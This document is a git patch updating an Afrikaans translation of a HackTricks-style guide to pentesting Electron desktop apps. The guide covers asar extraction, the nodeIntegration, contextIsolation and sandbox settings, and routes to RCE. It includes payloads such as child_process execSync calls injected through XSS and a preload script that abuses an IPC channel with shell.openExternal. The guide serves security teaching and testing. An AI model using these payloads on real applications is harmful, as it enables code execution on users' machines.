From f0f065874155d6c5cdc68ed3f0ef5a9bc67b8e87 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 02:45:49 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/electron --- .../electron-desktop-apps/README.md | 304 ++++++++++++------ 1 file changed, 210 insertions(+), 94 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 05fa5bcec..e2e98b98e 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,30 +1,30 @@ -# Electron Desktop Apps +# Electron Desktop-toepassings {{#include ../../../banners/hacktricks-training.md}} ## Inleiding -Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sommige van die sekuriteitsmeganismes van moderne blaaiers ontbreek. +Electron kombineer 'n plaaslike backend (met **NodeJS**) en 'n frontend (**Chromium**), alhoewel dit sekere sekuriteitsmeganismes van moderne blaaiers ontbreek. -Gewoonlik kan jy die electron app kode binne 'n `.asar` toepassing vind, om die kode te verkry moet jy dit onttrek: +Gewoonlik sal jy die Electron-app-kode binne 'n `.asar` aansoek vind; om die kode te verkry moet jy dit uitpak: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -In die bronkode van 'n Electron-app, binne `packet.json`, kan jy die `main.js`-lêer vind waar sekuriteitskonfigurasies gestel word. +In die bronkode van 'n Electron app, binne `packet.json`, kan jy die aangeduide `main.js`-lêer vind waar sekuriteitskonfigurasies gestel is. ```json { "name": "standard-notes", "main": "./app/index.js", ``` -Electron het 2 prosestipes: +Electron het 2 proses-tipes: -- Hoofproses (het volledige toegang tot NodeJS) -- Renderer-proses (moet beperkte toegang tot NodeJS hê vir sekuriteitsredes) +- Main Process (het volledige toegang tot NodeJS) +- Renderer Process (moet vir sekuriteitsredes beperkte toegang tot NodeJS hê) ![](<../../../images/image (182).png>) -'n **renderer-proses** sal 'n blaaiervenster wees wat 'n lêer laai: +'n **renderer process** sal 'n blaaiervenster wees wat 'n lêer laai: ```javascript const { BrowserWindow } = require("electron") let win = new BrowserWindow() @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Die instellings van die **renderer-proses** kan **gekonfigureer** word in die **hoofproses** binne die main.js-lêer. Sommige van die konfigurasies sal **verhoed dat die Electron-toepassing RCE** of ander kwesbaarhede kry as die **instellings korrek geconfigureer** is. +Instellings van die **renderer-proses** kan in die **main-proses** binne die main.js-lêer **gekonfigureer** word. Sommige van die konfigurasies sal **voorkom dat die Electron-toepassing RCE kry** of ander kwesbaarhede as die **instellings korrek gekonfigureer** is. -Die electron-toepassing **kan toegang tot die toestel** verkry via Node-apis alhoewel dit geconfigureer kan word om dit te verhoed: +Die Electron-toepassing **kan toegang tot die toestel kry** via Node apis alhoewel dit gekonfigureer kan word om dit te voorkom: -- **`nodeIntegration`** - is `af` per standaard. As aan, laat dit toe om toegang te verkry tot node-funksies vanaf die renderer-proses. -- **`contextIsolation`** - is `aan` per standaard. As af, is hoof- en renderer-prosesse nie geïsoleer nie. -- **`preload`** - leeg per standaard. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is af per standaard. Dit sal die aksies wat NodeJS kan uitvoer beperk. -- Node Integrasie in Werkers -- **`nodeIntegrationInSubframes`** - is `af` per standaard. -- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** in webbladsye wat in **iframes** binne 'n Electron-toepassing gelaai word, toelaat. -- As **`nodeIntegration`** **deaktiveer** is, sal preloads in die iframe gelaai word. +- **`nodeIntegration`** - is `off` per verstek. As dit aan is, laat dit toe om Node-funksies vanaf die renderer-proses te gebruik. +- **`contextIsolation`** - is `on` per verstek. As dit `off` is, is die main- en renderer-prosesse nie geïsoleer nie. +- **`preload`** - leeg per verstek. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is `off` per verstek. Dit sal die aksies beperk wat NodeJS kan uitvoer. +- Node-integrasie in Workers +- **`nodeIntegrationInSubframes`** - is `off` per verstek. +- As **`nodeIntegration`** **geaktiveer** is, sal dit die gebruik van **Node.js APIs** toelaat in webblaaie wat **gelaai is in iframes** binne 'n Electron-toepassing. +- As **`nodeIntegration`** **gedeaktiveer** is, sal preloads dan in die iframe gelaai word Voorbeeld van konfigurasie: ```javascript @@ -71,7 +71,7 @@ spellcheck: true, }, } ``` -Sommige **RCE payloads** van [hier](https://7as.es/electron/nodeIntegration_rce.txt): +Sommige **RCE payloads** van [here](https://7as.es/electron/nodeIntegration_rce.txt): ```html Example Payloads (Windows): src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Capture traffic +### Vang netwerkverkeer -Wysig die start-main konfigurasie en voeg die gebruik van 'n proxy soos: +Wysig die start-main-konfigurasie en voeg die gebruik van 'n proxy soos: ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Electron Plaaslike Kode-inspuiting +## Electron Local Code Injection + +As jy 'n Electron App lokaal kan uitvoer, is dit moontlik dat jy dit kan dwing om willekeurige javascript-kode uit te voer. Kyk hoe in: -As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat uitvoer willekeurige javascript kode. Kyk hoe in: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +112,7 @@ As jy 'n Electron App plaaslik kan uitvoer, is dit moontlik dat jy dit kan laat ## RCE: XSS + nodeIntegration -As die **nodeIntegration** op **aan** gestel is, kan 'n webblad se JavaScript maklik Node.js kenmerke gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc-toepassing op Windows uit te voer, is: +As die **nodeIntegration** op **on** gestel is, kan 'n webblad se JavaScript maklik Node.js-funksies gebruik net deur die `require()` aan te roep. Byvoorbeeld, die manier om die calc-toepassing op Windows uit te voer is: ```html ``` -## RCE: webviewTag + kwesbare preload IPC + shell.openExternal +## RCE: webviewTag + vulnerable preload IPC + shell.openExternal -This vuln can be found in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. +Hierdie vuln kan gevind word in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**. -The **webviewTag** is a **verouderde kenmerk** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like: +Die **webviewTag** is 'n **verouderde funksie** wat die gebruik van **NodeJS** in die **renderer-proses** moontlik maak, en dit behoort gedeaktiveer te word aangesien dit toelaat om 'n skrip binne die preload-konteks te laai, soos: ```xml ``` -Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrêre bladsy te laai, daardie etiket gebruik om **'n arbitrêre vooraflaai-skrip te laai**. +Daarom kan 'n aanvaller wat daarin slaag om 'n arbitrêre bladsy te laai, daardie tag gebruik om **'n arbitrêre preload script te laai**. -Hierdie vooraflaai-skrip is dan misbruik om 'n **kwetsbare IPC-diens (`skype-new-window`)** aan te roep wat **`shell.openExternal`** aangeroep het om RCE te verkry: +Hierdie preload script is toe misbruik om 'n **kwesbare IPC-diens (`skype-new-window`)** aan te roep, wat **`shell.openExternal`** aangeroep het om RCE te kry: ```javascript (async() => { const { ipcRenderer } = require("electron"); @@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do ``` ## Lees Interne Lêers: XSS + contextIsolation -**Deaktiveer `contextIsolation` stel die gebruik van `` etikette in**, soortgelyk aan `